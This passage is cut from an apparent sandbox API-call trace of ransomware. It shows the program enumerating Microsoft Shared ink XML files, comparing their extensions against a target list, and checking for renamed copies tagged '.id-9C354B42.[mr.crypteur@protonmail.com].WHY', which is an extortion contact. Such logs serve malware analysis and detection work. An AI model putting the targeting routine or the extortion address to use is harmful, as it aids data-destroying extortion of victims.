(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.899] lstrlenW (lpString=".dbf") returned 4 [0219.899] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.899] lstrlenW (lpString=".1cd") returned 4 [0219.899] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.900] lstrlenW (lpString=".jpg") returned 4 [0219.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.900] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.900] lstrlenW (lpString="ipschs.xml") returned 10 [0219.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0219.901] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2462) returned 1 [0220.180] CloseHandle (hObject=0x37c) returned 1 [0220.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0220.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0220.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.845] lstrlenW (lpString=".doc") returned 4 [0221.845] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0221.845] lstrlenW (lpString=".docx") returned 5 [0221.845] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0221.845] lstrlenW (lpString=".pdf") returned 4 [0221.845] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0221.845] lstrlenW (lpString=".xls") returned 4 [0221.845] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0221.845] lstrlenW (lpString=".xlsx") returned 5 [0221.845] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0221.845] lstrlenW (lpString=".ppt") returned 4 [0221.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0221.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.846] lstrlenW (lpString=".zip") returned 4 [0221.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0221.846] lstrlenW (lpString=".rar") returned 4 [0221.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0221.846] lstrlenW (lpString=".bz2") returned 4 [0221.846] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0221.846] lstrlenW (lpString=".7z") returned 3 [0221.846] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0221.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.846] lstrlenW (lpString=".dbf") returned 4 [0221.846] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0221.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.847] lstrlenW (lpString=".1cd") returned 4 [0221.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0221.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.847] lstrlenW (lpString=".jpg") returned 4 [0221.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0221.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.847] lstrlenW (lpString=".doc") returned 4 [0221.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0221.847] lstrlenW (lpString=".docx") returned 5 [0221.848] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0221.848] lstrlenW (lpString=".pdf") returned 4 [0221.848] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0221.848] lstrlenW (lpString=".xls") returned 4 [0221.848] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0221.848] lstrlenW (lpString=".xlsx") returned 5 [0221.848] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0221.848] lstrlenW (lpString=".ppt") returned 4 [0221.848] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0221.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.848] lstrlenW (lpString=".zip") returned 4 [0221.848] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0221.848] lstrlenW (lpString=".rar") returned 4 [0221.848] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0221.849] lstrlenW (lpString=".bz2") returned 4 [0221.849] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0221.849] lstrlenW (lpString=".7z") returned 3 [0221.849] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0221.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.849] lstrlenW (lpString=".dbf") returned 4 [0221.849] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0221.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.849] lstrlenW (lpString=".1cd") returned 4 [0221.849] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0221.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0221.849] lstrlenW (lpString=".jpg") returned 4 [0221.849] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0221.850] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0221.850] lstrlenW (lpString="ipsdan.xml") returned 10 [0221.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.182] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2514) returned 1 [0222.182] CloseHandle (hObject=0x378) returned 1 [0222.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0222.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.183] lstrlenW (lpString=".doc") returned 4 [0222.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.183] lstrlenW (lpString=".docx") returned 5 [0222.183] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0222.183] lstrlenW (lpString=".pdf") returned 4 [0222.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.184] lstrlenW (lpString=".xls") returned 4 [0222.184] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.184] lstrlenW (lpString=".xlsx") returned 5 [0222.184] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0222.184] lstrlenW (lpString=".ppt") returned 4 [0222.184] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.184] lstrlenW (lpString=".zip") returned 4 [0222.184] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.184] lstrlenW (lpString=".rar") returned 4 [0222.184] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.184] lstrlenW (lpString=".bz2") returned 4 [0222.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.185] lstrlenW (lpString=".7z") returned 3 [0222.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.185] lstrlenW (lpString=".dbf") returned 4 [0222.185] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.185] lstrlenW (lpString=".1cd") returned 4 [0222.185] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.185] lstrlenW (lpString=".jpg") returned 4 [0222.185] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.186] lstrlenW (lpString=".doc") returned 4 [0222.186] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.186] lstrlenW (lpString=".docx") returned 5 [0222.186] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0222.186] lstrlenW (lpString=".pdf") returned 4 [0222.186] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.186] lstrlenW (lpString=".xls") returned 4 [0222.186] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.186] lstrlenW (lpString=".xlsx") returned 5 [0222.187] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0222.187] lstrlenW (lpString=".ppt") returned 4 [0222.187] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.187] lstrlenW (lpString=".zip") returned 4 [0222.187] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.187] lstrlenW (lpString=".rar") returned 4 [0222.187] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.187] lstrlenW (lpString=".bz2") returned 4 [0222.187] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.187] lstrlenW (lpString=".7z") returned 3 [0222.187] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.188] lstrlenW (lpString=".dbf") returned 4 [0222.188] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.188] lstrlenW (lpString=".1cd") returned 4 [0222.188] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0222.188] lstrlenW (lpString=".jpg") returned 4 [0222.188] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.189] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.189] lstrlenW (lpString="ipsdeu.xml") returned 10 [0222.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.189] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2616) returned 1 [0222.189] CloseHandle (hObject=0x378) returned 1 [0222.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0222.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.190] lstrlenW (lpString=".doc") returned 4 [0222.191] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.191] lstrlenW (lpString=".docx") returned 5 [0222.191] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0222.191] lstrlenW (lpString=".pdf") returned 4 [0222.191] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.191] lstrlenW (lpString=".xls") returned 4 [0222.191] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.191] lstrlenW (lpString=".xlsx") returned 5 [0222.191] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0222.191] lstrlenW (lpString=".ppt") returned 4 [0222.191] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.192] lstrlenW (lpString=".zip") returned 4 [0222.192] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.192] lstrlenW (lpString=".rar") returned 4 [0222.192] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.192] lstrlenW (lpString=".bz2") returned 4 [0222.192] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.192] lstrlenW (lpString=".7z") returned 3 [0222.192] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.192] lstrlenW (lpString=".dbf") returned 4 [0222.192] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.193] lstrlenW (lpString=".1cd") returned 4 [0222.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.193] lstrlenW (lpString=".jpg") returned 4 [0222.193] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.193] lstrlenW (lpString=".doc") returned 4 [0222.193] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.193] lstrlenW (lpString=".docx") returned 5 [0222.193] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0222.194] lstrlenW (lpString=".pdf") returned 4 [0222.194] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.194] lstrlenW (lpString=".xls") returned 4 [0222.194] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.194] lstrlenW (lpString=".xlsx") returned 5 [0222.194] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0222.194] lstrlenW (lpString=".ppt") returned 4 [0222.194] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.194] lstrlenW (lpString=".zip") returned 4 [0222.194] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.194] lstrlenW (lpString=".rar") returned 4 [0222.195] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.195] lstrlenW (lpString=".bz2") returned 4 [0222.195] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.195] lstrlenW (lpString=".7z") returned 3 [0222.195] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.195] lstrlenW (lpString=".dbf") returned 4 [0222.195] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.195] lstrlenW (lpString=".1cd") returned 4 [0222.195] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0222.195] lstrlenW (lpString=".jpg") returned 4 [0222.195] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.196] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.196] lstrlenW (lpString="ipsen.xml") returned 9 [0222.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.197] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2578) returned 1 [0222.197] CloseHandle (hObject=0x378) returned 1 [0222.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0222.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.198] lstrlenW (lpString=".doc") returned 4 [0222.198] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.198] lstrlenW (lpString=".docx") returned 5 [0222.198] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0222.198] lstrlenW (lpString=".pdf") returned 4 [0222.198] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.198] lstrlenW (lpString=".xls") returned 4 [0222.198] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.198] lstrlenW (lpString=".xlsx") returned 5 [0222.198] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0222.198] lstrlenW (lpString=".ppt") returned 4 [0222.198] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.199] lstrlenW (lpString=".zip") returned 4 [0222.199] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.199] lstrlenW (lpString=".rar") returned 4 [0222.199] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.199] lstrlenW (lpString=".bz2") returned 4 [0222.199] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.199] lstrlenW (lpString=".7z") returned 3 [0222.199] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.199] lstrlenW (lpString=".dbf") returned 4 [0222.199] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.199] lstrlenW (lpString=".1cd") returned 4 [0222.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.200] lstrlenW (lpString=".jpg") returned 4 [0222.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.201] lstrlenW (lpString=".doc") returned 4 [0222.201] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.201] lstrlenW (lpString=".docx") returned 5 [0222.201] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0222.201] lstrlenW (lpString=".pdf") returned 4 [0222.201] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.201] lstrlenW (lpString=".xls") returned 4 [0222.201] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.201] lstrlenW (lpString=".xlsx") returned 5 [0222.201] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0222.201] lstrlenW (lpString=".ppt") returned 4 [0222.201] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.201] lstrlenW (lpString=".zip") returned 4 [0222.201] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.201] lstrlenW (lpString=".rar") returned 4 [0222.202] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.202] lstrlenW (lpString=".bz2") returned 4 [0222.202] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.202] lstrlenW (lpString=".7z") returned 3 [0222.202] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.202] lstrlenW (lpString=".dbf") returned 4 [0222.202] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.202] lstrlenW (lpString=".1cd") returned 4 [0222.202] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0222.202] lstrlenW (lpString=".jpg") returned 4 [0222.203] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.203] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.203] lstrlenW (lpString="ipsesp.xml") returned 10 [0222.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.204] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=3024) returned 1 [0222.204] CloseHandle (hObject=0x378) returned 1 [0222.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0222.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.205] lstrlenW (lpString=".doc") returned 4 [0222.205] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.205] lstrlenW (lpString=".docx") returned 5 [0222.205] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0222.205] lstrlenW (lpString=".pdf") returned 4 [0222.205] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.205] lstrlenW (lpString=".xls") returned 4 [0222.205] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.205] lstrlenW (lpString=".xlsx") returned 5 [0222.205] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0222.205] lstrlenW (lpString=".ppt") returned 4 [0222.205] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.206] lstrlenW (lpString=".zip") returned 4 [0222.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.206] lstrlenW (lpString=".rar") returned 4 [0222.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.206] lstrlenW (lpString=".bz2") returned 4 [0222.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.206] lstrlenW (lpString=".7z") returned 3 [0222.206] lstrcmpiW (lpString1=".7z", 